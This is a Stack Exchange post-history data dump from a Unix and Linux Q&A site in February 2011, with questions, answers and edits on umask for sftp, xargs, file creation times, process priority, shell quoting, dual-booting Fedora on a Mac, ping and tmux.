  <row Id="17624" PostHistoryTypeId="2" PostId="7559" RevisionGUID="f46cafc4-675c-42c1-baf4-303904d89c2b" CreationDate="2011-02-17T04:40:12.453" UserId="576" Text="I want files sent to my server using sftp and scp to be group-writable.  How can I do that?" />
  <row Id="17625" PostHistoryTypeId="1" PostId="7559" RevisionGUID="f46cafc4-675c-42c1-baf4-303904d89c2b" CreationDate="2011-02-17T04:40:12.453" UserId="576" Text="set umask to 0002 for sftp and scp" />
  <row Id="17626" PostHistoryTypeId="3" PostId="7559" RevisionGUID="f46cafc4-675c-42c1-baf4-303904d89c2b" CreationDate="2011-02-17T04:40:12.453" UserId="576" Text="ésshà" />
  <row Id="17627" PostHistoryTypeId="5" PostId="7559" RevisionGUID="59ac45bf-944a-4b16-8138-22151133c93d" CreationDate="2011-02-17T04:52:24.047" UserId="576" Comment="added 97 characters in body; edited tags" Text="I want files sent to my server using sftp and scp to be group-writable.  How can I do that?&#xD;&#xA;&#xD;&#xA;I tried using libpam-umask from http://wiki.debian.org/DebianDesktopHowTo but it didn't work." />
  <row Id="17628" PostHistoryTypeId="6" PostId="7559" RevisionGUID="59ac45bf-944a-4b16-8138-22151133c93d" CreationDate="2011-02-17T04:52:24.047" UserId="576" Comment="added 97 characters in body; edited tags" Text="ésshàédebianà" />
  <row Id="17629" PostHistoryTypeId="2" PostId="7560" RevisionGUID="99b5d379-1d20-42c4-83ae-2c655333edbc" CreationDate="2011-02-17T04:58:50.980" UserId="3082" Text="That's what `xargs` does.&#xD;&#xA;&#xD;&#xA;    ... | xargs command" />
  <row Id="17630" PostHistoryTypeId="2" PostId="7561" RevisionGUID="77d8cde8-d0d8-4cb8-9fbe-7342de584d93" CreationDate="2011-02-17T05:11:38.420" UserId="1207" Text="In Bash:&#xD;&#xA;&#xD;&#xA;    while read line; do command $line; done&#xD;&#xA;&#xD;&#xA;`read` reads a single line from standard input.  Thus you can do either of the following:&#xD;&#xA;&#xD;&#xA;    $ command | while read line; do command $line; done  &#xD;&#xA;&#xD;&#xA;    $ while read line; do command $line; done &lt;file" />
  <row Id="17631" PostHistoryTypeId="25" PostId="7559" RevisionGUID="8964cc00-f2c3-4856-988b-2b261c5bf09d" CreationDate="2011-02-17T05:23:00.090" Comment="http://twitter.com/#!/StackUnix/status/38106114037907456" />
  <row Id="17632" PostHistoryTypeId="2" PostId="7562" RevisionGUID="4e5f123b-5474-408e-ad41-1d2535d648c2" CreationDate="2011-02-17T05:45:36.357" UserId="1501" Text="Are there any (good known, reliable) file systems on Linux that store the creation time of files and directories in the i-node table? &#xD;&#xA;&#xD;&#xA;If there are, is the &quot;changed&quot; time replaced by the creation time of an i-node in a stat call?" />
  <row Id="17633" PostHistoryTypeId="1" PostId="7562" RevisionGUID="4e5f123b-5474-408e-ad41-1d2535d648c2" CreationDate="2011-02-17T05:45:36.357" UserId="1501" Text="What file systems on Linux store the creation time?" />
  <row Id="17634" PostHistoryTypeId="3" PostId="7562" RevisionGUID="4e5f123b-5474-408e-ad41-1d2535d648c2" CreationDate="2011-02-17T05:45:36.357" UserId="1501" Text="élinuxàéfilesystemsàétimestampsà" />
  <row Id="17635" PostHistoryTypeId="5" PostId="7555" RevisionGUID="c4eaa546-02e6-4ba0-bcce-721e89131b95" CreationDate="2011-02-17T05:53:12.850" UserId="3999" Comment="added 83 characters in body; added 5 characters in body" Text="Using GUI `gnome-volume-control`:&#xD;&#xA;&#xD;&#xA;                                 Sound Preferences&#xD;&#xA;    ----------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;    Output Volume: [--------------+      ]&#xD;&#xA;                                 ||&#xD;&#xA;                      Unamplified 100%&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the volume can be adjusted at will. When using the keyboard volume-up and volume-down function keys the volume may be lowered at will but raising the volume is limited to the &quot;Unamplified 100%&quot; level.&#xD;&#xA;&#xD;&#xA;Is there a way around this limitation?&#xD;&#xA;&#xD;&#xA;&gt; Linux road 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux&#xD;&#xA;" />
  <row Id="17636" PostHistoryTypeId="5" PostId="4311" RevisionGUID="1cc3b7ee-0db0-43b9-83eb-69b275990c87" CreationDate="2011-02-17T05:55:51.257" UserId="688" Comment="rm greetings and signature" Text="Can someone suggest a RHEL-like distribution that can install from a single CD? I am looking for a distribution where services are started from `/etc/init.d`, environment variables are set from scripts in `/etc/profile.d` and so-on (meaning that Ubuntu doesn't do the job).&#xD;&#xA;&#xD;&#xA;A network installer isn't an option...&#xD;&#xA;&#xD;&#xA;I think in terms of the OS's behaviour, CentOS would do the trick, except I can't find a single CD installation.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;" />
  <row Id="17637" PostHistoryTypeId="2" PostId="7563" RevisionGUID="7842f75d-eaa7-430b-b7b7-fdea1ef4a837" CreationDate="2011-02-17T06:20:51.707" UserId="3082" Text="The [ext4][1] file system does store the creation time. `stat %W` can show it to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ext4" />
  <row Id="17638" PostHistoryTypeId="2" PostId="7564" RevisionGUID="789898de-75a1-4950-ab2e-878ac672ebc3" CreationDate="2011-02-17T06:44:24.220" UserId="3459" Text="I think PAM reads the default umask from `/etc/login.defs` as of Debian 6.0, but I do not currently have access to a system to check on. " />
  <row Id="17639" PostHistoryTypeId="5" PostId="7517" RevisionGUID="15536f01-48a1-4c38-aebb-8d8d49be8254" CreationDate="2011-02-17T07:09:08.747" UserId="4819" Comment="added 204 characters in body" Text="What good books are there out there for Linux kernel driver development? Preferably targeting a rather new kernel release.&#xD;&#xA;&#xD;&#xA;Which one is best in you opinion?&#xD;&#xA;  * [Essential Linux Device Drivers][1]&#xD;&#xA;  * [Linux Device Drivers][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/gp/product/0132396556/&#xD;&#xA;  [2]: http://lwn.net/Kernel/LDD3/" />
  <row Id="17640" PostHistoryTypeId="5" PostId="7517" RevisionGUID="855c574c-5c4e-4c30-b404-10ce9a337b39" CreationDate="2011-02-17T07:34:06.203" UserId="4819" Comment="added 2 characters in body" Text="What good books are there out there for Linux kernel driver development? Preferably targeting a rather new kernel release.&#xD;&#xA;&#xD;&#xA;Which one is best in you opinion?&#xD;&#xA;&#xD;&#xA;  * [Essential Linux Device Drivers][1]&#xD;&#xA;  * [Linux Device Drivers][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/gp/product/0132396556/&#xD;&#xA;  [2]: http://lwn.net/Kernel/LDD3/" />
  <row Id="17641" PostHistoryTypeId="5" PostId="7561" RevisionGUID="8bd9dc5f-336a-481d-9459-5311642f5fe4" CreationDate="2011-02-17T07:35:56.030" UserId="885" Comment="added -r to read and double quotes around variable substitutions; added 51 characters in body" Text="In Bash or any other Bourne-style shell (ash, ksh, zsh, …):&#xD;&#xA;&#xD;&#xA;    while read -r line; do command &quot;$line&quot;; done&#xD;&#xA;&#xD;&#xA;`read -r` reads a single line from standard input (`read` without `-r` interprets backslashes, you don't want that).  Thus you can do either of the following:&#xD;&#xA;&#xD;&#xA;    $ command | while read -r line; do command &quot;$line&quot;; done  &#xD;&#xA;&#xD;&#xA;    $ while read -r line; do command &quot;$line&quot;; done &lt;file" />
  <row Id="17642" PostHistoryTypeId="6" PostId="7555" RevisionGUID="f9c7178c-fd22-4761-8666-e8ec28187472" CreationDate="2011-02-17T07:37:41.940" UserId="885" Comment="edited tags" Text="égnomeàéaudioà" />
  <row Id="17643" PostHistoryTypeId="25" PostId="7562" RevisionGUID="d0649dd3-120d-4e8e-b1e2-c43ff713109d" CreationDate="2011-02-17T08:23:00.650" Comment="http://twitter.com/#!/StackUnix/status/38151414257696768" />
  <row Id="17644" PostHistoryTypeId="2" PostId="7565" RevisionGUID="3c772d51-ac84-40c2-8b18-d9ff84aba95c" CreationDate="2011-02-17T10:52:03.257" UserId="4843" Text="You should opt for LDDv3, as it is one of the fundamentalist book on the same topic.&#xD;&#xA;After you grab this book, go and look for &quot;Understanding the Linux kernel&quot;. &#xD;&#xA;&#xD;&#xA;This two book is suffice to fulfill your thirst for Kernel ( Driver ) Development." />
  <row Id="17645" PostHistoryTypeId="25" PostId="7558" RevisionGUID="457b1855-c6a5-405b-909b-a3064b62f843" CreationDate="2011-02-17T11:23:00.473" Comment="http://twitter.com/#!/StackUnix/status/38196712485031936" />
  <row Id="17646" PostHistoryTypeId="2" PostId="7566" RevisionGUID="e68d8f89-601a-4ca0-912c-fb99f5974b19" CreationDate="2011-02-17T11:23:04.167" UserId="4843" Text="Hello,&#xD;&#xA;&#xD;&#xA;I want to run the process ( mplayer ) with most-highest priority than any other processes, including the IO-processes.&#xD;&#xA;&#xD;&#xA;How can I do that ?" />
  <row Id="17647" PostHistoryTypeId="1" PostId="7566" RevisionGUID="e68d8f89-601a-4ca0-912c-fb99f5974b19" CreationDate="2011-02-17T11:23:04.167" UserId="4843" Text="CPU-Bound or I/O-Bound" />
  <row Id="17648" PostHistoryTypeId="3" PostId="7566" RevisionGUID="e68d8f89-601a-4ca0-912c-fb99f5974b19" CreationDate="2011-02-17T11:23:04.167" UserId="4843" Text="éioàécpuà" />
  <row Id="17649" PostHistoryTypeId="2" PostId="7567" RevisionGUID="d42e0abd-23a6-4634-846c-bd631ee2a2aa" CreationDate="2011-02-17T11:49:07.310" UserId="2567" Text="I agree with Keith, xargs is the most general tool for the job.&#xD;&#xA;&#xD;&#xA;I usually use a 3 step approach.&#xD;&#xA;&#xD;&#xA;* do the basic stuff until you have something you would like to work with&#xD;&#xA;* prepare the line with awk so it gets the correct syntax&#xD;&#xA;* then let xargs execute it, maybe with the help of bash.&#xD;&#xA;&#xD;&#xA;There are smaller and faster ways, but this ways almost always works.&#xD;&#xA;&#xD;&#xA;A simple example:&#xD;&#xA;&#xD;&#xA;    ls | &#xD;&#xA;    grep xls | &#xD;&#xA;    awk '{print &quot;MyJavaProg --arg1 --arg2 &quot;$1}' | &#xD;&#xA;    xargs -0 bash -c&#xD;&#xA;&#xD;&#xA;the 2 first lines selects some files to work with, &#xD;&#xA;then awk prepares a nice string with a command to execute and some arguments and $1 is the first column input from the pipe.&#xD;&#xA;And finally I make sure that xargs sends this string to bash that just execute it.&#xD;&#xA;&#xD;&#xA;It is a little bit overkill, but this recipe has helped me in a lot of places since it is very flexible. " />
  <row Id="17650" PostHistoryTypeId="2" PostId="7568" RevisionGUID="4d26f3f2-2639-437c-8377-2310e5372d1b" CreationDate="2011-02-17T12:16:32.370" UserId="250" Text="To set niceness (CPU bound) use `nice`. To set IO niceness (IO bound) use `ionice`. Refer to the respective man pages for more information. You can use them together as follow:&#xD;&#xA;&#xD;&#xA;    ionice -c 2 -n 0 nice -n -20 mplayer" />
  <row Id="17651" PostHistoryTypeId="5" PostId="7568" RevisionGUID="c65c5204-1229-4ec1-939f-d67ceded50de" CreationDate="2011-02-17T12:27:00.587" UserId="250" Comment="note about limits" Text="To set niceness (CPU bound) use [`nice`][1]. To set IO niceness (IO bound) use [`ionice`][2]. Refer to the respective man pages for more information. You can use them together as follow:&#xD;&#xA;&#xD;&#xA;    ionice -c 2 -n 0 nice -n -20 mplayer&#xD;&#xA;&#xD;&#xA;Note: the lowest level of niceness (lower means more favorable) you can define is determined by [`limits.conf`][3]. On my computer the file is located at `/etc/security/limits.conf`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/nice&#xD;&#xA;  [2]: http://linux.die.net/man/1/ionice&#xD;&#xA;  [3]: http://linux.die.net/man/5/limits.conf" />
  <row Id="17652" PostHistoryTypeId="5" PostId="7559" RevisionGUID="3f740030-a17e-4f21-a3c1-cc3ee496a4ed" CreationDate="2011-02-17T12:29:52.263" UserId="576" Comment="added 168 characters in body; edited tags; added 2 characters in body" Text="I want files sent to my server using sftp and scp to be group-writable.  How can I do that?&#xD;&#xA;&#xD;&#xA;I tried using libpam-umask from http://wiki.debian.org/DebianDesktopHowTo but it didn't work.&#xD;&#xA;&#xD;&#xA;**EDIT:**  Is there any way I can troubleshoot `pam`?  Is there a log?  Is there any common reason why `libpam-umask` would not work?  Do I have to install something?" />
  <row Id="17653" PostHistoryTypeId="6" PostId="7559" RevisionGUID="3f740030-a17e-4f21-a3c1-cc3ee496a4ed" CreationDate="2011-02-17T12:29:52.263" UserId="576" Comment="added 168 characters in body; edited tags; added 2 characters in body" Text="édebianàésshà" />
  <row Id="17654" PostHistoryTypeId="2" PostId="7569" RevisionGUID="5828aee8-f554-4eae-b49d-d736f3edff88" CreationDate="2011-02-17T12:40:14.427" UserId="4846" Text="Any ideas? I'm trying to install mono as per these instructions: http://blog.ruski.co.za/page/Install-Mono-on-Ubuntu.aspx&#xD;&#xA;&#xD;&#xA;I need to be able to run the second command `apt-get remove mono-common` but I'm tripping up at that first hurdle!&#xD;&#xA;&#xD;&#xA;Thanks a lot" />
  <row Id="17655" PostHistoryTypeId="1" PostId="7569" RevisionGUID="5828aee8-f554-4eae-b49d-d736f3edff88" CreationDate="2011-02-17T12:40:14.427" UserId="4846" Text="Virtual packages like 'mono-common' can't be removed." />
  <row Id="17656" PostHistoryTypeId="3" PostId="7569" RevisionGUID="5828aee8-f554-4eae-b49d-d736f3edff88" CreationDate="2011-02-17T12:40:14.427" UserId="4846" Text="éubuntuàémonoà" />
  <row Id="17657" PostHistoryTypeId="2" PostId="7570" RevisionGUID="d816e346-4028-41f7-ae28-e1e21e15e646" CreationDate="2011-02-17T12:55:11.867" UserId="3959" Text="You're trying to build mono-2.4 yourself? This article seems heavily outdated.&#xD;&#xA;&#xD;&#xA;On Ubuntu Maverick (10.10):&#xD;&#xA;&#xD;&#xA;    sudo apt-get install mono-complete&#xD;&#xA;&#xD;&#xA;should get you [mono-2.6.7][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.ubuntu.com/maverick/mono-complete" />
  <row Id="17658" PostHistoryTypeId="2" PostId="7571" RevisionGUID="51541129-4a67-42c9-96aa-2205eecaf4db" CreationDate="2011-02-17T13:27:23.793" UserId="4848" Text="I'm having issues with a kworker process during system boot and I'd like to get such a nice call graph like Linus Torvalds posted [here](http://lkml.org/lkml/2010/8/15/111).&#xD;&#xA;&#xD;&#xA;How would I do this?" />
  <row Id="17659" PostHistoryTypeId="1" PostId="7571" RevisionGUID="51541129-4a67-42c9-96aa-2205eecaf4db" CreationDate="2011-02-17T13:27:23.793" UserId="4848" Text="How do I profile the kernel?" />
  <row Id="17660" PostHistoryTypeId="3" PostId="7571" RevisionGUID="51541129-4a67-42c9-96aa-2205eecaf4db" CreationDate="2011-02-17T13:27:23.793" UserId="4848" Text="ékernelàéprofileà" />
  <row Id="17661" PostHistoryTypeId="2" PostId="7572" RevisionGUID="8e8aff60-cf69-40b6-9105-e7f6d94f7aa1" CreationDate="2011-02-17T13:46:22.353" UserId="3625" Text="He used [Perf][1] to create this but I can't tell you exactly how Linus created the graph (which parameters etc.).&#xD;&#xA;&#xD;&#xA;  [1]: https://perf.wiki.kernel.org/index.php/Main_Page" />
  <row Id="17662" PostHistoryTypeId="2" PostId="7573" RevisionGUID="17158fcb-c120-4ec1-8cad-eefa9c30fcc2" CreationDate="2011-02-17T14:18:35.807" UserId="2648" Text="Im not using it anymore but there are some tips:&#xD;&#xA;&lt;br /&gt;- reduce graphics cache (number of objects and memory per object)&#xD;&#xA;&lt;br /&gt;- turn off font preview in font list&#xD;&#xA;&lt;br /&gt;- turn off icons in menus&#xD;&#xA;&lt;br /&gt;- reduce cache wherever is possible&#xD;&#xA;&#xD;&#xA;I know that it may sound generic but it helps and speeds up OpenOffice a little (i used it in v2.x and v3.0). If you find OOo too heavy, try to use GoogleDocs online (if you have broadband connection) in smaller browser window (it speeds up drawing of all elements in browser so try to use it in non-full screen)." />
  <row Id="17663" PostHistoryTypeId="25" PostId="7571" RevisionGUID="9a4b1a0f-29e8-484c-8226-5ff6ebcb5a21" CreationDate="2011-02-17T14:23:00.467" Comment="http://twitter.com/#!/StackUnix/status/38242011291201536" />
  <row Id="17664" PostHistoryTypeId="2" PostId="7574" RevisionGUID="2664ea2f-1f30-4b6c-8b94-e40b7fcc32aa" CreationDate="2011-02-17T14:25:58.373" UserId="4812" Text="I used to use '' and &quot;&quot; interchangeably on the command line, but I recently noticed that '$HOME/some/dir' is not expanded, while &quot;$HOME/some/dir&quot; is. I searched around a little bit and found that &quot;&quot; allows _some_ protection of special characters, while '' allows full protection. So what other characters are protected by '' and not &quot;&quot;?" />
  <row Id="17665" PostHistoryTypeId="1" PostId="7574" RevisionGUID="2664ea2f-1f30-4b6c-8b94-e40b7fcc32aa" CreationDate="2011-02-17T14:25:58.373" UserId="4812" Text="Difference between ' and &quot; on command line (bash)?" />
  <row Id="17666" PostHistoryTypeId="3" PostId="7574" RevisionGUID="2664ea2f-1f30-4b6c-8b94-e40b7fcc32aa" CreationDate="2011-02-17T14:25:58.373" UserId="4812" Text="ébashàécommandölineàéspecialöcharactersà" />
  <row Id="17667" PostHistoryTypeId="5" PostId="7574" RevisionGUID="27127315-a027-4095-ad2f-66128f040878" CreationDate="2011-02-17T14:33:37.720" UserId="4812" Comment="added another part of question" Text="I used to use '' and &quot;&quot; interchangeably on the command line, but I recently noticed that '$HOME/some/dir' is not expanded, while &quot;$HOME/some/dir&quot; is. I searched around a little bit and found that &quot;&quot; allows _some_ protection of special characters, while '' allows full protection. So what other characters are protected by '' and not &quot;&quot;?&#xD;&#xA;&#xD;&#xA;EDIT: What are _practical_ situations in which these differences might be significant? " />
  <row Id="17668" PostHistoryTypeId="2" PostId="7575" RevisionGUID="e45d3ca1-1bf9-424f-9194-25a3377a2e87" CreationDate="2011-02-17T14:34:26.760" UserId="2511" Text="Take a look at the bash man page. There's an entire section on quoting. Because this licensed under the GFDL, which is not compatible with the CC-BY-SA license used here, I won't quote the whole thing, but really [reading that is the most definitive answer][1].&#xD;&#xA;&#xD;&#xA;In summary, single quotes stop all interpretation -- the string is rendered literally. Double quotes leave `$` (dollar sign), \` (backquote) as special, and `\` (backslash) as special when followed by certain other characters. And `!` will be treated specially if the history expansion feature is enabled (which it is by default). *Plus*, the characters `*` (star) and `@` (at) gain special meaning within double quotes.&#xD;&#xA;&#xD;&#xA;In practical use, the $ is the big deal, as one often may want the various expansions it enables to (variables and more), while still preventing the shell from muddling most of the command line. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Quoting" />
  <row Id="17669" PostHistoryTypeId="2" PostId="7576" RevisionGUID="fdc35516-f973-4d67-a596-cc3893b5629c" CreationDate="2011-02-17T14:39:27.033" UserId="4851" Text="I'm trying to install Fedora (dual-boot) on a brand-new MacBook Pro. The live/installer CD runs flawlessly on the machine, which was a nice surprise. But after the install is completed, I cannot actually boot into Fedora. Here is what I did:&#xD;&#xA;&#xD;&#xA; 1. OS X by default ships with an EFI partition (/dev/sda1) and an HFS+ partition (/dev/sda2). I used Boot Camp in OS X to resize the existing OS X partition and reboot to the live CD.&#xD;&#xA;&#xD;&#xA; 2. Once the Fedora live CD is booted, I used the disk utility to delete the &quot;Windows&quot; partition (/dev/sda3) that Boot Camp created. This leaves the original EFI and OS X partitions plus a chunk (40G) of empty space at the end of the disk.&#xD;&#xA;&#xD;&#xA; 3. Run the Fedora Installer, telling it to automatically partition and install using the free space on the disk. It creates a 500M boot partition (/dev/sda3) and an LVM partition (/dev/sda4).&#xD;&#xA;&#xD;&#xA; 4. When the installer gets to the part about the boot loader, I go with the defaults, which is to install GRUB to the boot sector of the Fedora boot partition (/dev/sda3).&#xD;&#xA;&#xD;&#xA;After the install is complete, I would expect to be able to hold down the Mac's &quot;Option&quot; key to choose which OS to boot since /dev/sda3 has a boot sector, but only the OS X disk shows up. (What does Boot Camp do, then, besides resizing the disk?)&#xD;&#xA;&#xD;&#xA;I read somewhere that a boot loader called rEFIt would help, so I tried that. I installed it using the instructions on the project's website and rebooted. An option to boot Linux shows up in the rEFIt boot screen, but when selecting it, I get a black screen with an error message along the lines of &quot;no operating system found.&quot;&#xD;&#xA;&#xD;&#xA;Further research suggested that rEFIt had to &quot;resync&quot; in order to find GRUB, even though I installed rEFIt after Fedora. I did that by going into the rEFIt &quot;menu&quot; and answering in the affirmative when it told me that a resync was necessary.&#xD;&#xA;&#xD;&#xA;Now, when I select Linux in the rEFIt boot menu, it only shows a gray-out penguin and nothing else happens. The lack of output makes the problem difficult to troubleshoot exactly what's going wrong. Maybe if I knew more about EFI, I could play around in the EFI shell provided by rEFIt.&#xD;&#xA;&#xD;&#xA;Anyway, has anyone here had success dual-booting Fedora 14 on a newer Mac, and if so, what procedure did you use? I'd like to install Fedora to the whole disk, but I'm reluctant to try that until I can get a dual-boot scenario to work. I you could, please CC my email address in any responses since I'm subscribed to the digest version of the list.&#xD;&#xA;&#xD;&#xA;Thanks for your time." />
  <row Id="17670" PostHistoryTypeId="1" PostId="7576" RevisionGUID="fdc35516-f973-4d67-a596-cc3893b5629c" CreationDate="2011-02-17T14:39:27.033" UserId="4851" Text="Dual-boot OS X and Fedora" />
  <row Id="17671" PostHistoryTypeId="3" PostId="7576" RevisionGUID="fdc35516-f973-4d67-a596-cc3893b5629c" CreationDate="2011-02-17T14:39:27.033" UserId="4851" Text="élinuxàéfedoraàéosxàédualöbootà" />
  <row Id="17672" PostHistoryTypeId="2" PostId="7577" RevisionGUID="2853d565-a7a6-4e6d-9ba0-fede5e4e0f23" CreationDate="2011-02-17T14:52:31.490" UserId="31" Text="It all come down to whether you are speaking legally, or from a technology viewpoint.  Legally, FreeBSD, like Linux, cannot use the trademarked term Unix.  From a technology point of view, FreeBSD is as much Unix as Solaris, HP-UX, or any of the other commercial versions that have paid to be able to be legally called Unix. " />
  <row Id="17677" PostHistoryTypeId="2" PostId="7580" RevisionGUID="00c66e5f-ec43-4a5a-b42c-ea2bb153e68d" CreationDate="2011-02-17T15:15:11.920" UserId="4176" Text="I'm writing a wake on lan script for a set of our lab computers. We have sqlite db with a list of the computer hostnames, IPs, and MACs and currently I ping each of them with '-c1' so it doesn't run endlessly - but even that takes some waiting, is there a quicker way to get answer rather than ping? Using ping seems to slow the script quite a bit as it needs the ping answers to continue. &#xD;&#xA;&#xD;&#xA;Thanks much for any suggestions!" />
  <row Id="17678" PostHistoryTypeId="1" PostId="7580" RevisionGUID="00c66e5f-ec43-4a5a-b42c-ea2bb153e68d" CreationDate="2011-02-17T15:15:11.920" UserId="4176" Text="Faster way than ping for checking if computer online?" />
  <row Id="17679" PostHistoryTypeId="3" PostId="7580" RevisionGUID="00c66e5f-ec43-4a5a-b42c-ea2bb153e68d" CreationDate="2011-02-17T15:15:11.920" UserId="4176" Text="énetworkingàéscriptingàépythonàépingàéwakeöonölanà" />
  <row Id="17680" PostHistoryTypeId="2" PostId="7581" RevisionGUID="d0ea0bc4-8756-409e-91b9-a040e4fae3e6" CreationDate="2011-02-17T15:20:29.887" UserId="163" Text="What you could do it ping the gateway which should cause all the computers to ping back. Then you could cross check this list against what you have in SQLite to ensure all the computers are up." />
  <row Id="17681" PostHistoryTypeId="2" PostId="7582" RevisionGUID="92bbeb2d-0853-4f32-b48e-93ffcd22b2e1" CreationDate="2011-02-17T15:23:08.917" UserId="2511" Text="Sending a single packet and waiting for a response is going to be one of the fastest possible ways, and ping is a fine way to do that. In fact, depending on your use case, I'd argue that it's _too fast_, since it doesn't really tell you if the system is actually doing anything useful, just that the kernel's network subsystem is alive and configured.&#xD;&#xA;&#xD;&#xA;But assuming that's good enough, you can make some improvements. First, you could use `-W1` to decrease the ping timeout to one second. Second, you could make your script ping the different hosts asynchronously (in a background thread), and check the results as needed rather than waiting.&#xD;&#xA;&#xD;&#xA;Alternately, you can re-think the approach and have the remote systems check in somehow when they're up, and if a system hasn't checked in, you can assume it's down." />
  <row Id="17682" PostHistoryTypeId="5" PostId="7581" RevisionGUID="b2cfd629-6d1f-4490-a69a-de1c900f90c5" CreationDate="2011-02-17T15:29:50.687" UserId="163" Comment="Transposing concepts; added 467 characters in body" Text="What you could do it ping the broadcast address which should cause all the computers to ping back. Then you could cross check this list against what you have in SQLite to ensure all the computers are up.&#xD;&#xA;&#xD;&#xA;Other then that a ping is probably the fastest way to ensure a computer is awake on a network. As mentioned by the other answer this doesn't provide any really useful data. If you have the ability to install scripts you can add a cronjob to ping a central server, run a task, or just echo out the process list to a central server which will log the request. Then simply checking that will tell you if you have any issues with no need to manually check every time." />
  <row Id="17683" PostHistoryTypeId="2" PostId="7583" RevisionGUID="0580d15b-6236-432d-b7bd-b43cfb433a00" CreationDate="2011-02-17T15:34:38.950" UserId="3976" Text="[Ganglia][1] uses multicast traffic to monitor many hosts in a cluster, perhaps you could use something similar?  This assumes that your networking hardware allows multicast traffic between all the hosts and your monitoring system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ganglia.sourceforge.net/" />
  <row Id="17686" PostHistoryTypeId="2" PostId="7586" RevisionGUID="f6fa6f80-8bfb-4369-83e4-5e18b6e9a6b5" CreationDate="2011-02-17T15:47:25.353" UserId="250" Text="Currently I'm running `dvtm` inside a terminal, and `vim` inside `dvtm`. When I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt; intending to suspend `vim`, `dvtm` got suspended instead. I didn't have this problem with `screen` or `tmux`, so I think it must be `dvtm` doing something wrong (or not doing something right). How can I fix that?" />
  <row Id="17687" PostHistoryTypeId="1" PostId="7586" RevisionGUID="f6fa6f80-8bfb-4369-83e4-5e18b6e9a6b5" CreationDate="2011-02-17T15:47:25.353" UserId="250" Text="How to stop application from being suspended by Ctrl+z?" />
  <row Id="17688" PostHistoryTypeId="3" PostId="7586" RevisionGUID="f6fa6f80-8bfb-4369-83e4-5e18b6e9a6b5" CreationDate="2011-02-17T15:47:25.353" UserId="250" Text="ésuspendàéterminalömultiplexerà" />
  <row Id="17689" PostHistoryTypeId="2" PostId="7587" RevisionGUID="5d075b86-f956-49b0-bff2-893f5b96cf81" CreationDate="2011-02-17T15:56:18.750" UserId="4544" Text="awk 'BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }'&#xD;&#xA;&#xD;&#xA;How to run this script called count.sh..it's giving error..&#xD;&#xA;M trying to run it as sh count.sh but it's giving error. " />
  <row Id="17690" PostHistoryTypeId="1" PostId="7587" RevisionGUID="5d075b86-f956-49b0-bff2-893f5b96cf81" CreationDate="2011-02-17T15:56:18.750" UserId="4544" Text="How to run shell script having awk command" />
  <row Id="17691" PostHistoryTypeId="3" PostId="7587" RevisionGUID="5d075b86-f956-49b0-bff2-893f5b96cf81" CreationDate="2011-02-17T15:56:18.750" UserId="4544" Text="élinuxà" />
  <row Id="17692" PostHistoryTypeId="2" PostId="7588" RevisionGUID="4ddc1e61-a065-426f-812e-c3083dea4e07" CreationDate="2011-02-17T15:58:46.343" UserId="4821" Text="I've been using screen for years now as a way of ensuring that any remote work is safely kept open in after disconnects/crashes. In fact, as a matter of course, I use screens even when working locally.&#xD;&#xA;&#xD;&#xA;Recently, my requirements have progressed to the stage that I switched to tmux because of the beauty of:&#xD;&#xA;&#xD;&#xA;    tmux attach -r&#xD;&#xA;&#xD;&#xA;Attaching to my own sessions in readonly mode (-r) means that I don't have to worry about accidentally:&#xD;&#xA;&#xD;&#xA;* pasting lines of garbage in IRC&#xD;&#xA;* halting an important compile/deploy process&#xD;&#xA;* typing a password in full view for passersby&#xD;&#xA;&#xD;&#xA;Of course the issue is that I have to open a session, C-b + d to detach, and then reopen it with the -r flag to go readonly. And then, when I occasionally want to chime in to an IRC conversation, interrupt a task or anything else, I have to detach again and reconnect normally.&#xD;&#xA;&#xD;&#xA;Does anyone know of a way to make a key binding to switch between modes?" />
  <row Id="17693" PostHistoryTypeId="1" PostId="7588" RevisionGUID="4ddc1e61-a065-426f-812e-c3083dea4e07" CreationDate="2011-02-17T15:58:46.343" UserId="4821" Text="Is there a tmux shortcut to go read only?" />
  <row Id="17694" PostHistoryTypeId="3" PostId="7588" RevisionGUID="4ddc1e61-a065-426f-812e-c3083dea4e07" CreationDate="2011-02-17T15:58:46.343" UserId="4821" Text="élinuxàéshellàéterminalàétmuxà" />
  <row Id="17700" PostHistoryTypeId="4" PostId="7566" RevisionGUID="460f5c2d-0b73-4dc4-b1c0-78dcced6241d" CreationDate="2011-02-17T16:10:44.893" UserId="4776" Comment="changed title to reflect body" Text="Run process with higher priority" />
  <row Id="17701" PostHistoryTypeId="24" PostId="7566" RevisionGUID="86671a63-3a2d-48e4-8455-f62719f561b1" CreationDate="2011-02-17T16:10:44.893" Comment="Proposed by 4776 approved by 73 edit id of 29" />
  <row Id="17702" PostHistoryTypeId="5" PostId="7566" RevisionGUID="5492b634-37f3-4e1a-93a0-0a6ca069169e" CreationDate="2011-02-17T16:11:10.573" UserId="73" Comment="deleted 34 characters in body" Text="I want to run `mplayer` with higher priority than any other processes, including the IO-processes. How can I do that?" />
  <row Id="17703" PostHistoryTypeId="5" PostId="7587" RevisionGUID="c153d2c3-89ee-48c7-8bc3-6e800dc1c08c" CreationDate="2011-02-17T16:16:49.207" UserId="73" Comment="added 4 characters in body; edited tags; edited title" Text="How to run this script (called `count.sh`)?&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }'&#xD;&#xA;&#xD;&#xA;I'm trying to run it with `sh count.sh` but it's giving me an error. &#xD;&#xA;" />
